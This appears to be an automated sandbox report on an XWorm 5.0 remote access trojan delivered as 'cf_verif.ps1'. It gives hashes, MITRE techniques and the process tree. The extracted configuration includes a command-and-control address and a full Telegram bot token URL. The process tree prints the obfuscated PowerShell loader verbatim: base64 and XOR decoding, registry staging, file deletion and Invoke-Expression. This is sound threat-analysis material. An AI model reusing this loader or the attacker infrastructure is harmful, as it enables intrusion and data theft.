xworm | b18ed93dd979c6233b1ce6e195338a57243f2a71e6147311aaf06fccea1d20c7

General

Target

cf_verif.ps1
Size

679B
MD5

1b50d8010aab1860d73255e7857197b6
SHA1

960be1f5e7d05216ce2a1fd8012a7434e1d9c47e
SHA256

b18ed93dd979c6233b1ce6e195338a57243f2a71e6147311aaf06fccea1d20c7
SHA512

af037b5aeb04a96f9af623b3a96baa76ea6b62792a7552cbf5ee7f9ad18f09b0085b8874c1a46ffbc710bca6bc6d2105a70196028fb76bf781b652433c212c40

Score

10^/10

xworm execution rat trojan

Malware Config

Extracted

Family

xworm

Version

5.0

C2

193.32.177.63:6000

Mutex

wwD0bshguVCRSd3k

Attributes

install_file
USB.exe
telegram
https://api.telegram.org/bot7238632531:AAGCQZAh03hAwOcuP9HUeoAP5AQV0o0tp24/sendMessage?chat_id=8080837794

aes.plain

Signatures

Detect Xworm Payload 1 IoCs

resource	yara_rule
behavioral2/memory/924-54-0x000001CCFE740000-0x000001CCFE750000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm

Blocklisted process makes network request 16 IoCs

flow	pid	Process
7	1488	powershell.exe
27	4216	powershell.exe
33	924	powershell.exe
35	924	powershell.exe
61	924	powershell.exe
62	924	powershell.exe
63	924	powershell.exe
68	924	powershell.exe
69	924	powershell.exe
70	924	powershell.exe
71	924	powershell.exe
72	924	powershell.exe
73	924	powershell.exe
74	924	powershell.exe
75	924	powershell.exe
76	924	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1488	powershell.exe
924	powershell.exe

Suspicious behavior: EnumeratesProcesses 8 IoCs

pid	Process
1488	powershell.exe
1488	powershell.exe
4216	powershell.exe
4216	powershell.exe
924	powershell.exe
924	powershell.exe
924	powershell.exe
924	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	1488	powershell.exe
Token: SeDebugPrivilege	4216	powershell.exe
Token: SeDebugPrivilege	924	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
924	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 1488 wrote to memory of 4216	1488	powershell.exe	93
PID 1488 wrote to memory of 4216	1488	powershell.exe	93
PID 4216 wrote to memory of 3100	4216	powershell.exe	102
PID 4216 wrote to memory of 3100	4216	powershell.exe	102
PID 3100 wrote to memory of 924	3100	cmd.exe	104
PID 3100 wrote to memory of 924	3100	cmd.exe	104

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\cf_verif.ps1
1⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1488
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ec aQBOAFYAbwBLAGUALQBlAFgAcABSAGUAUwBzAEkAbwBuACAAKAAoAEcAZQB0AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAAtAFAAYQB0AGgAIAAnAEgASwBDAFUAOgBcAFwAUwBvAGYAdAB3AGEAcgBlAFwAXABNAGkAYwByAG8AcwBvAGYAdABcAFwAVwBpAG4AZABvAHcAcwAgAFMAZQBhAHIAYwBoACcAIAAtAE4AYQBtAGUAIAAnACQAcABoAGEAbgB0AG8AbQAtAGYAcgBaAFoAZgAnACkAIAB8ACAAUwBlAGwAZQBjAHQALQBPAGIAagBlAGMAdAAgAC0ARQB4AHAAYQBuAGQAUAByAG8AcABlAHIAdAB5ACAAYAAkAHAAaABhAG4AdABvAG0ALQBmAHIAWgBaAGYAKQA=
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4216
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\winupdate.bat"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3100
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -windowstyle hidden -c "Write-Host ('dedaoL rotcartxE llehsrewoP'[-1..-27] -join '');$path = $env:tMHryVWCxy;$path = $path.Trim();try {$_1 = Get-Content -Path $path.Substring(1, $path.Length - 2) -ErrorAction Stop;} catch {$_1 = Get-Content -Path $path}$_3 = $_1 -split '\n';$_2 = $_3[-1];$_2 = [Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($_2.Replace('\n', ''));$_4 = New-Object byte[] $_2.Length;for ($_5 = 0; $_5 -lt $_4.Length; $_5++) {$_4[$_5] = $_2[$_5] -bxor 0x20;};$_4 = [System.Text.Encoding]::Unicode.GetString($_4);Set-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows Search' -Name '$phantom-frZZfx' -Value $_4;Remove-Item -Path $path -Force;$_4 | Invoke-Expression"
      4⤵
      Blocklisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of SetWindowsHookEx
      PID:924

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
556084f2c6d459c116a69d6fedcc4105

SHA1
633e89b9a1e77942d822d14de6708430a3944dbc

SHA256
88cc4f40f0eb08ff5c487d6db341b046cc63b22534980aca66a9f8480692f3a8

SHA512
0f6557027b098e45556af93e0be1db9a49c6416dc4afcff2cc2135a8a1ad4f1cf7185541ddbe6c768aefaf2c1a8e52d5282a538d15822d19932f22316edd283e

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
8d80c45e0e047b75073a3d1c2710c68f

SHA1
babc73cf30327b36d184239a2747ec94d48929f4

SHA256
6859c4cad4b17bf02f7f25d9b5b9633491a29c1420ccbdf9342a459d5be05e64

SHA512
5da876ce855d1d9a031899d283bf2ac6c53c4d14982a1300e4d128cbde46202a259d1299dfb40c81fcfe5fb6770fb00f404673c13967800392f8f8442a5d2d24

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_elkibgrm.1k0.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\winupdate.bat

Filesize
4.3MB

MD5
c827b11ddab8f04af88ad75cf10ce5c3

SHA1
8ccd314ee72a96772cc6040e9c626332a18ff2d0

SHA256
e3f141aeea820a23216db5919e80573b1e5675e98a3c02a67d2e7b576ef269b5

SHA512
73bbdfe7555c49893674339b967f6515471ae83043d9c5ca9772828f0877c2827cace3c24bae99da393864e35dc91268ab7fc5a969fb65cb10a3da23dceb6f32

Download Submit
memory/924-50-0x000001CCFDDF0000-0x000001CCFDDF8000-memory.dmp

Filesize
32KB

Download
memory/924-54-0x000001CCFE740000-0x000001CCFE750000-memory.dmp

Filesize
64KB

Download
memory/924-53-0x00007FF8574E0000-0x00007FF85759E000-memory.dmp

Filesize
760KB

Download
memory/924-52-0x00007FF858C30000-0x00007FF858E25000-memory.dmp

Filesize
2.0MB

Download
memory/924-51-0x000001CCFE2A0000-0x000001CCFE3DC000-memory.dmp

Filesize
1.2MB

Download
memory/1488-6-0x00000192762F0000-0x0000019276312000-memory.dmp

Filesize
136KB

Download
memory/1488-0-0x00007FF83AC33000-0x00007FF83AC35000-memory.dmp

Filesize
8KB

Download
memory/1488-15-0x00007FF83AC30000-0x00007FF83B6F1000-memory.dmp

Filesize
10.8MB

Download
memory/1488-11-0x00007FF83AC30000-0x00007FF83B6F1000-memory.dmp

Filesize
10.8MB

Download
memory/1488-12-0x00007FF83AC30000-0x00007FF83B6F1000-memory.dmp

Filesize
10.8MB

Download
memory/4216-32-0x000002B2A5F20000-0x000002B2A5F78000-memory.dmp

Filesize
352KB

Download
memory/4216-33-0x00007FF858C30000-0x00007FF858E25000-memory.dmp

Filesize
2.0MB

Download
memory/4216-35-0x000002B2A5F90000-0x000002B2A5F96000-memory.dmp

Filesize
24KB

Download
memory/4216-36-0x00007FF83AC30000-0x00007FF83B6F1000-memory.dmp

Filesize
10.8MB

Download
memory/4216-34-0x00007FF8574E0000-0x00007FF85759E000-memory.dmp

Filesize
760KB

Download
memory/4216-29-0x00007FF83AC30000-0x00007FF83B6F1000-memory.dmp

Filesize
10.8MB

Download
memory/4216-28-0x00007FF83AC30000-0x00007FF83B6F1000-memory.dmp

Filesize
10.8MB

Download
memory/4216-17-0x00007FF83AC30000-0x00007FF83B6F1000-memory.dmp

Filesize
10.8MB

Download
memory/4216-31-0x000002B2A61D0000-0x000002B2A6302000-memory.dmp

Filesize
1.2MB

Download
memory/4216-30-0x000002B28DAC0000-0x000002B28DAC8000-memory.dmp

Filesize
32KB

Download

Analysis

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